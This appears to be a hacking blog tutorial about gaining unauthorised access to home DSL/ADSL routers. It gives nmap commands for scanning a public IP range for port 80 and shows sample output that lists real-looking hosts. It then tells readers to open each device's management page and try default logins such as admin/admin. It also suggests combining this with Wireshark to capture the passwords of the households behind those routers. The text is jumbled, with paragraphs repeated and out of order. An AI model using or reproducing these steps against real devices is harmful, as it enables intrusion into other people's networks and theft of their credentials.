Asynchronous digital subscriber line (DSL or ADSL) modem is a device
used to connect a computer or router to a telephone line which provides
the digital subscriber line service for connectivity to the Internet,
which is often called DSL or ADSL broadband. In
this guide I will show you show you how to scan IP range for connected
ADSL or DSL modem routers and find DSL ADSL router hack remotely. This
guide applies to Windows, Linux or Mac, so it doesn’t matter what’s your
Operating system is, you can try the same steps from all these
operating systems. The term DSL or ADSL modem is technically used to
describe a modem which connects to a single computer, through a USB port
or is installed in a computer PCI slot. The more common DSL or ADSL
router which combines the function of a DSL or ADSL modem and a home
router, is a standalone device which can be connected to multiple
computers through multiple Ethernet ports or an integral wireless access
point. Also called a residential gateway, a DSL or ADSL router usually
manages the connection and sharing of the DSL or ADSL service in a home
or small office network.
Put this together with Wireshark hacking for http websites, you got a nightmare for the user behind that router as all their passwords and details can be tracked very easily.
In Windows or Mac open NMAP and copy paste this line:
That’s a lot of connected hosts with TCP Port 80 open. Some got ‘tcpwrapped’ marked on them. It means they are possibly not accessible.
Once you have some results, then you need to find the open devices with open ports. In search Result page:
It is quite amazing how many devices got ports open facing outer DMZ.
You get the idea. If it opens a webpage asking for username and password, try one of the following combinations:
Put this together with Wireshark hacking for http websites, you got a nightmare for the user behind that router as all their passwords and details can be tracked very easily.
What's in a DSL ADSL Router? - Click to expand
Installing NMAP
I use Kali Linux which comes with NMAP Preinstalled. If you are using Windows or Mac (or any other flavour of Linux) go to the following website to download and install NMAP.Linux Installation:
For Ubuntu, Debian or aptitude based system NMAP is usually made available via default repository. Install NMAP using the following command:sudo apt-get install nmapFor YUM Based systems such as Redhat, CentOS, install via
sudo yum install nmapFor PACMAN based systems such as Arch Linux, install via
sudo pacman -S nmap
Windows Installation:
For Windows Computers, download installer and run the executable. Link: http://nmap.org/dist/nmap-6.46-setup.exeMac Installation:
For Mac users, download installer and install Link: http://nmap.org/dist/nmap-6.46.dmgOfficial NMAP site
You can read more about NMAP here: http://nmap.org/Search for Vulnerable Routers
Now that we have NMAP sorted, we are going to run the following command to scan for ADSL Modem Routers based on their Banner on Port 80 to start our ADSL router hack. All you need is to pick an IP range. I’ve used an example below using 101.53.64.1/24 range.Search from Linux using command Line
In Linux run the following command:nmap -sS -sV -vv -n -Pn -T5 101.53.64.1-255 -p80 -oG - | grep 'open' | grep
-v 'tcpwrapped'
In Windows or Mac open NMAP and copy paste this line:
Once it finds the results, search for the word ‘open’ to narrow down results. A typical Linux NMAP command would return outputs line below: (and of course I’ve changed the IP details)nmap -sS -sV -vv -n -Pn -T5 101.53.64.1-255 -p80 -oG -
Host: 101.53.64.3 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.4 () Ports: 80/open/tcp//http//micro_httpd/ Host: 101.53.64.9 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.19 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.20 () Ports: 80/open/tcp//http//Fortinet VPN|firewall http config/ Host: 101.53.64.23 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.31 () Ports: 80/open/tcp//http?/// Host: 101.53.64.33 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.35 () Ports: 80/open/tcp//http?/// Host: 101.53.64.37 () Ports: 80/open/tcp//http?/// Host: 101.53.64.49 () Ports: 80/open/tcp//http//Gadspot|Avtech AV787 webcam http config/ Host: 101.53.64.52 () Ports: 80/open/tcp//http?/// Host: 101.53.64.53 () Ports: 80/open/tcp//ssl|http//thttpd/ Host: 101.53.64.58 () Ports: 80/open/tcp//http?/// Host: 101.53.64.63 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.69 () Ports: 80/open/tcp//http//Gadspot|Avtech AV787 webcam http config/ Host: 101.53.64.73 () Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/ Host: 101.53.64.79 () Ports: 80/open/tcp//http//Apache httpd/ Host: 101.53.64.85 () Ports: 80/open/tcp//http//micro_httpd/ Host: 101.53.64.107 () Ports: 80/open/tcp//http?/// Host: 101.53.64.112 () Ports: 80/open/tcp//http?/// Host: 101.53.64.115 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.123 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.129 () Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/ Host: 101.53.64.135 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.145 () Ports: 80/open/tcp//http//micro_httpd/ Host: 101.53.64.149 () Ports: 80/open/tcp//http//Microsoft IIS httpd 6.0/ Host: 101.53.64.167 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.170 () Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/ Host: 101.53.64.186 () Ports: 80/open/tcp//http?/// Host: 101.53.64.188 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.193 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.202 () Ports: 80/open/tcp//http//Apache httpd 2.2.15 ((CentOS))/ Host: 101.53.64.214 () Ports: 80/open/tcp//tcpwrapped/// Host: 101.53.64.224 () Ports: 80/open/tcp//http//Allegro RomPager 4.51 UPnP|1.0 (ZyXEL ZyWALL 2)/This was taking a long time (we are after all try to scan 256 hosts using the command above). Me being just impatient, I wanted to check if my Kali Linux was actually doing anything to ADSL router hack. I used the following command in a separate Terminal to monitor what my PC was doing… it was doing a lot …
tcpdump -ni eth0
That’s a lot of connected hosts with TCP Port 80 open. Some got ‘tcpwrapped’ marked on them. It means they are possibly not accessible.
Search from Windows, Mac or Linux using GUI – NMAP or Zenmap
Assuming you got NMAP installation sorted, you can now open NMAP (In Kali Linux or similar Linux distro, you can use Zenmap which is GUI version of NAMP cross platform). Copy paste the following line in Command fieldanother version of this command is using different representation of Subnet MASK.nmap -sS -sV -vv -n -Pn -T5 101.53.64.1/26 -p80 -oG -
Press SCAN Button and wait few minutes till the scan is over.nmap -sS -sV -vv -n -Pn -T5 101.53.64.1-255 -p80 -oG -
Once you have some results, then you need to find the open devices with open ports. In search Result page:
- Click on Services Button
- Click on http Service
- Click on Ports/Hosts TAB (Twice to sort them by status)
It is quite amazing how many devices got ports open facing outer DMZ.
Access Management Webpage
Pick one at a time. For example try this:http://101.53.64.3http://101.53.64.4http://101.53.64.129
You get the idea. If it opens a webpage asking for username and password, try one of the following combinations:
If you can find the Router’s model number and make, you can find exact username and password from this webpage: http://portforward.com/default_username_password/ Before we finish up, I am sure you were already impatient like me as a lot of the routers had ‘tcpwrapped’ on them which was actually stopping us from accessing the web management interface to ADSL router hack. Following command will exclude those devices from our search. I’ve also expanded my search to a broader range using a slightly different Subnet MASK.admin/admin admin/password admin/pass admin/secret
In this command I am using /22 Subnet Mask with 2 specific outputs: I am looking for the work ‘open’ and excluding ‘tcpwrapped’ on my output. As you can see, I still get a lot of outputs.nmap -sS -sV -vv -n -Pn -T5 101.53.64.1/22 -p80 -oG - | grep 'open' | grep -v 'tcpwrapped'